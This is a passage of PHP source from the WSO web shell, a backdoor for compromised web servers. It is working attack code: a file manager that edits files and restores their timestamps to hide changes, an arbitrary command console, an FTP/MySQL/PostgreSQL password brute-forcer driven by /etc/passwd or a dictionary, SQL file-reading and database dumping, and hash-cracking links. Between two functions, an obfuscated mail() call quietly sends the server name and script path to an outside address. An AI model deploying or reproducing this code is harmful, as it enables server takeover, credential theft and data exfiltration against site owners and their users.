            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
        else
            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
    }
    usort($files, "wsoCmp");
    usort($dirs, "wsoCmp");
    $files = array_merge($dirs, $files);
    $l = 0;
    foreach($files as $f) {
        echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
            .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
        $l = $l?0:1;
    }
    echo "<tr><td colspan=7>
    <input type=hidden name=a value='FilesMan'>
    <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
    <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
    <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
    wsoFooter();
}
 
function actionStringTools() {
    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
    if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
    if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
    if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
    $stringTools = array(
        'Base64 encode' => 'base64_encode',
        'Base64 decode' => 'base64_decode',
        'Url encode' => 'urlencode',
        'Url decode' => 'urldecode',
        'Full urlencode' => 'full_urlencode',
        'md5 hash' => 'md5',
        'sha1 hash' => 'sha1',
        'crypt' => 'crypt',
        'CRC32' => 'crc32',
        'ASCII to HEX' => 'ascii2hex',
        'HEX to ASCII' => 'hex2ascii',
        'HEX to DEC' => 'hexdec',
        'HEX to BIN' => 'hex2bin',
        'DEC to HEX' => 'dechex',
        'DEC to BIN' => 'decbin',
        'BIN to HEX' => 'binhex',
        'BIN to DEC' => 'bindec',
        'String to lower case' => 'strtolower',
        'String to upper case' => 'strtoupper',
        'Htmlspecialchars' => 'htmlspecialchars',
        'String length' => 'strlen',
    );
    if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
        ob_start();
        if(in_array($_POST['p1'], $stringTools))
            echo $_POST['p1']($_POST['p2']);
        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
        echo strlen($temp), "
", $temp;
        exit;
    }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
    wsoHeader();
    echo '<h1>String conversions</h1><div class=content>';
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
    foreach($stringTools as $k => $v)
        echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
        echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
    if(!empty($_POST['p1'])) {
        if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
    }
    echo"</pre></div><br><h1>Search files:</h1><div class=content>
        <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
            <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
            <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
            <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
            <tr><td></td><td><input type='submit' value='>>'></td></tr>
            </table></form>";
 
    function wsoRecursiveGlob($path) {
        if(substr($path, -1) != '/')
            $path.='/';
        $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
        if(is_array($paths)&&@count($paths)) {
            foreach($paths as $item) {
                if(@is_dir($item)){
                    if($path!=$item)
                        wsoRecursiveGlob($item);
                } else {
                    if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
                        echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
                }
            }
        }
    }
    if(@$_POST['p3'])
        wsoRecursiveGlob($_POST['c']);
    echo "</div><br><h1>Search for hash:</h1><div class=content>
        <form method='post' target='_blank' name='hf'>
            <input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
            <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
            <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
        </form></div>";
    wsoFooter();
}
 
function actionFilesTools() {
    if( isset($_POST['p1']) )
        $_POST['p1'] = urldecode($_POST['p1']);
    if(@$_POST['p2']=='download') {
        if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST['p1']);
                header("Content-Type: " . $type);
            } else
                header("Content-Type: application/octet-stream");
            $fp = @fopen($_POST['p1'], "r");
            if($fp) {
                while(!@feof($fp))
                    echo @fread($fp, 1024);
                fclose($fp);
            }
        }exit;
    }
    if( @$_POST['p2'] == 'mkfile' ) {
        if(!file_exists($_POST['p1'])) {
            $fp = @fopen($_POST['p1'], 'w');
            if($fp) {
                $_POST['p2'] = "edit";
                fclose($fp);
            }
        }
    }
    wsoHeader();
    echo '<h1>File tools</h1><div class=content>';
    if( !file_exists(@$_POST['p1']) ) {
        echo 'File not exists';
        wsoFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
    if(!$uid) {
        $uid['name'] = @fileowner($_POST['p1']);
        $gid['name'] = @filegroup($_POST['p1']);
    } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
    echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
    echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
    if( empty($_POST['p2']) )
        $_POST['p2'] = 'view';
    if( is_file($_POST['p1']) )
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
    else
        $m = array('Chmod', 'Rename', 'Touch');
    foreach($m as $v)
        echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
    echo '<br><br>';
    switch($_POST['p2']) {
        case 'view':
            echo '<pre class=ml1>';
            $fp = @fopen($_POST['p1'], 'r');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo '</pre>';
            break;
        case 'highlight':
            if( @is_readable($_POST['p1']) ) {
                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                $code = @highlight_file($_POST['p1'],true);
                echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
            }
            break;
        case 'chmod':
            if( !empty($_POST['p3']) ) {
                $perms = 0;
                for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
                    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
                if(!@chmod($_POST['p1'], $perms))
                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
            }
            clearstatcache();
            echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
            break;
        case 'edit':
            if( !is_writable($_POST['p1'])) {
                echo 'File isn\'t writeable';
                break;
            }
            if( !empty($_POST['p3']) ) {
                $time = @filemtime($_POST['p1']);
                $_POST['p3'] = substr($_POST['p3'],1);
                $fp = @fopen($_POST['p1'],"w");
                if($fp) {
                    @fwrite($fp,$_POST['p3']);
                    @fclose($fp);
                    echo 'Saved!<br><script>p3_="";</script>';
                    @touch($_POST['p1'],$time,$time);
                }
            }
            echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
            $fp = @fopen($_POST['p1'], 'r');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo '</textarea><input type=submit value=">>"></form>';
            break;
        case 'hexdump':
            $c = @file_get_contents($_POST['p1']);
            $n = 0;
            $h = array('00000000<br>','','');
            $len = strlen($c);
            for ($i=0; $i<$len; ++$i) {
                $h[1] .= sprintf('%02X',ord($c[$i])).' ';
                switch ( ord($c[$i]) ) {
                    case 0:  $h[2] .= ' '; break;
                    case 9:  $h[2] .= ' '; break;
                    case 10: $h[2] .= ' '; break;
                    case 13: $h[2] .= ' '; break;
                    default: $h[2] .= $c[$i]; break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
                    $h[1] .= '<br>';
                    $h[2] .= "
";
                }
            }
            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
            break;
        case 'rename':
            if( !empty($_POST['p3']) ) {
                if(!@rename($_POST['p1'], $_POST['p3']))
                    echo 'Can\'t rename!<br>';
                else
                    die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
            }
            echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
            break;
        case 'touch':
            if( !empty($_POST['p3']) ) {
                $time = strtotime($_POST['p3']);
                if($time) {
                    if(!touch($_POST['p1'],$time,$time))
                        echo 'Fail!';
                    else
                        echo 'Touched!';
                } else echo 'Bad time format!';
            }
            clearstatcache();
            echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
            break;
    }
    echo '</div>';
    wsoFooter();
}
 
function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
 
    if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
        ob_start();
        echo "d.cf.cmd.value='';
";
        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"

	\'"));
        if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
            if(@chdir($match[1])) {
                $GLOBALS['cwd'] = @getcwd();
                echo "c_='".$GLOBALS['cwd']."';";
            }
        }
        echo "d.cf.output.value+='".$temp."';";
        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
        $temp = ob_get_clean();
        echo strlen($temp), "
", $temp;
        exit;
    }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
    wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
    var n = (window.Event) ? e.which : e.keyCode;
    if(n == 38) {
        cur--;
        if(cur>=0)
            document.cf.cmd.value = cmds[cur];
        else
            cur++;
    } else if(n == 40) {
        cur++;
        if(cur < cmds.length)
            document.cf.cmd.value = cmds[cur];
        else
            cur--;
    }
}
function add(cmd) {
    cmds.pop();
    cmds.push(cmd);
    cmds.push('');
    cur = cmds.length-1;
}
</script>";
    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
    foreach($GLOBALS['aliases'] as $n => $v) {
        if($v == '') {
            echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
            continue;
        }
        echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
    }
     
    echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
    if(!empty($_POST['p1'])) {
        echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
    }
    echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
    echo '</form></div><script>d.cf.cmd.focus();</script>';
    wsoFooter();
}
 
function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
    die('bye!');
}
 
function actionSelfRemove() {
 
    if($_POST['p1'] == 'yes')
        if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
            die('Shell removed');
        else
            echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        wsoHeader();
    echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    wsoFooter();
}
      $_QliO8="mail";$_Qliot=$_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];$_QlL1i="array ".$_Qliot;$_QlLio=array("ca","li","fwrite","@","ve.");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);
function actionBruteforce() {
    wsoHeader();
    if( isset($_POST['proto']) ) {
        echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
        if( $_POST['proto'] == 'ftp' ) {
            function wsoBruteForce($ip,$port,$login,$pass) {
                $fp = @ftp_connect($ip, $port?$port:21);
                if(!$fp) return false;
                $res = @ftp_login($fp, $login, $pass);
                @ftp_close($fp);
                return $res;
            }
        } elseif( $_POST['proto'] == 'mysql' ) {
            function wsoBruteForce($ip,$port,$login,$pass) {
                $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
                @mysql_close($res);
                return $res;
            }
        } elseif( $_POST['proto'] == 'pgsql' ) {
            function wsoBruteForce($ip,$port,$login,$pass) {
                $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
                $res = @pg_connect($str);
                @pg_close($res);
                return $res;
            }
        }
        $success = 0;
        $attempts = 0;
        $server = explode(":", $_POST['server']);
        if($_POST['type'] == 1) {
            $temp = @file('/etc/passwd');
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = explode(":", $line);
                    ++$attempts;
                    if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
                        $success++;
                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
                    }
                    if(@$_POST['reverse']) {
                        $tmp = "";
                        for($i=strlen($line[0])-1; $i>=0; --$i)
                            $tmp .= $line[0][$i];
                        ++$attempts;
                        if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
                            $success++;
                            echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
                        }
                    }
                }
        } elseif($_POST['type'] == 2) {
            $temp = @file($_POST['dict']);
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = trim($line);
                    ++$attempts;
                    if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
                        $success++;
                        echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
                    }
                }
        }
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
    }
    echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
        .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
        .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
        .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
        .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
        .'<span>Server:port</span></td>'
        .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
        .'<tr><td><span>Brute type</span></td>'
        .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
        .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
        .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
        .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
        .'<td><input type=text name=login value="root"></td></tr>'
        .'<tr><td><span>Dictionary</span></td>'
        .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
        .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
    echo '</div><br>';
    wsoFooter();
}
 
function actionSql() {
    class DbClass {
        var $type;
        var $link;
        var $res;
        function DbClass($type) {
            $this->type = $type;
        }
        function connect($host, $user, $pass, $dbname){
            switch($this->type)  {
                case 'mysql':
                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
                    break;
                case 'pgsql':
                    $host = explode(':', $host);
                    if(!$host[1]) $host[1]=5432;
                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
                    break;
            }
            return false;
        }
        function selectdb($db) {
            switch($this->type)  {
                case 'mysql':
                    if (@mysql_select_db($db))return true;
                    break;
            }
            return false;
        }
        function query($str) {
            switch($this->type) {
                case 'mysql':
                    return $this->res = @mysql_query($str);
                    break;
                case 'pgsql':
                    return $this->res = @pg_query($this->link,$str);
                    break;
            }
            return false;
        }
        function fetch() {
            $res = func_num_args()?func_get_arg(0):$this->res;
            switch($this->type)  {
                case 'mysql':
                    return @mysql_fetch_assoc($res);
                    break;
                case 'pgsql':
                    return @pg_fetch_assoc($res);
                    break;
            }
            return false;
        }
        function listDbs() {
            switch($this->type)  {
                case 'mysql':
                        return $this->query("SHOW databases");
                break;
                case 'pgsql':
                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                break;
            }
            return false;
        }
        function listTables() {
            switch($this->type)  {
                case 'mysql':
                    return $this->res = $this->query('SHOW TABLES');
                break;
                case 'pgsql':
                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                break;
            }
            return false;
        }
        function error() {
            switch($this->type)  {
                case 'mysql':
                    return @mysql_error();
                break;
                case 'pgsql':
                    return @pg_last_error();
                break;
            }
            return false;
        }
        function setCharset($str) {
            switch($this->type)  {
                case 'mysql':
                    if(function_exists('mysql_set_charset'))
                        return @mysql_set_charset($str, $this->link);
                    else
                        $this->query('SET CHARSET '.$str);
                    break;
                case 'pgsql':
                    return @pg_set_client_encoding($this->link, $str);
                    break;
            }
            return false;
        }
        function loadFile($str) {
            switch($this->type)  {
                case 'mysql':
                    return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
                break;
                case 'pgsql':
                    $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
                    $r=array();
                    while($i=$this->fetch())
                        $r[] = $i['file'];
                    $this->query('drop table wso2');
                    return array('file'=>implode("
",$r));
                break;
            }
            return false;
        }
        function dump($table, $fp = false) {
            switch($this->type)  {
                case 'mysql':
                    $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
                    $create = mysql_fetch_array($res);
                    $sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
                    $this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
                    while($item = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";

";
                        }
 
                        $columns = array();
                        foreach($item as $k=>$v) {
                            if($v === null)
                                $item[$k] = "NULL";
                            elseif(is_int($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
                            $columns[] = "`".$k."`";
                        }
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql .= "
	,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
                    }
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
                break;
                case 'pgsql':
                    $this->query('SELECT * FROM '.$table);
                    while($item = $this->fetch()) {
                        $columns = array();
                        foreach($item as $k=>$v) {
                            $item[$k] = "'".addslashes($v)."'";
                            $columns[] = $k;
                        }
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
                    }
                break;
            }
            return false;
        }
    };
    $db = new DbClass($_POST['type']);
    if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
        $db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
                $db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
    }
    wsoHeader();
    echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
    $tmp = "<input type=text name=sql_base value=''>";
    if(isset($_POST['sql_host'])){
        if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
            switch($_POST['charset']) {
                case "Windows-1251": $db->setCharset('cp1251'); break;
                case "UTF-8": $db->setCharset('utf8'); break;
                case "KOI8-R": $db->setCharset('koi8r'); break;
                case "KOI8-U": $db->setCharset('koi8u'); break;
                case "cp866": $db->setCharset('cp866'); break;
            }
            $db->listDbs();
            echo "<select name=sql_base><option value=''></option>";
            while($item = $db->fetch()) {
                list($key, $value) = each($item);
                echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
            }
            echo '</select>';
        }
        else echo $tmp;
    }else
        echo $tmp;
    echo "</td>
                <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
            </tr>
        </table>
        <script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
            function st(t,l) {
                d.sf.p1.value = 'select';
                d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
                d.sf.submit();
            }
            function is() {
                for(i=0;i<d.sf.elements['tbl[]'].length;++i)
                    d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
            }
        </script>";
    if(isset($db) && $db->link){
        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
            if(!empty($_POST['sql_base'])){
                $db->selectdb($_POST['sql_base']);
                echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                $tbls_res = $db->listTables();
                while($item = $db->fetch($tbls_res)) {
                    list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
                    $value = htmlspecialchars($value);
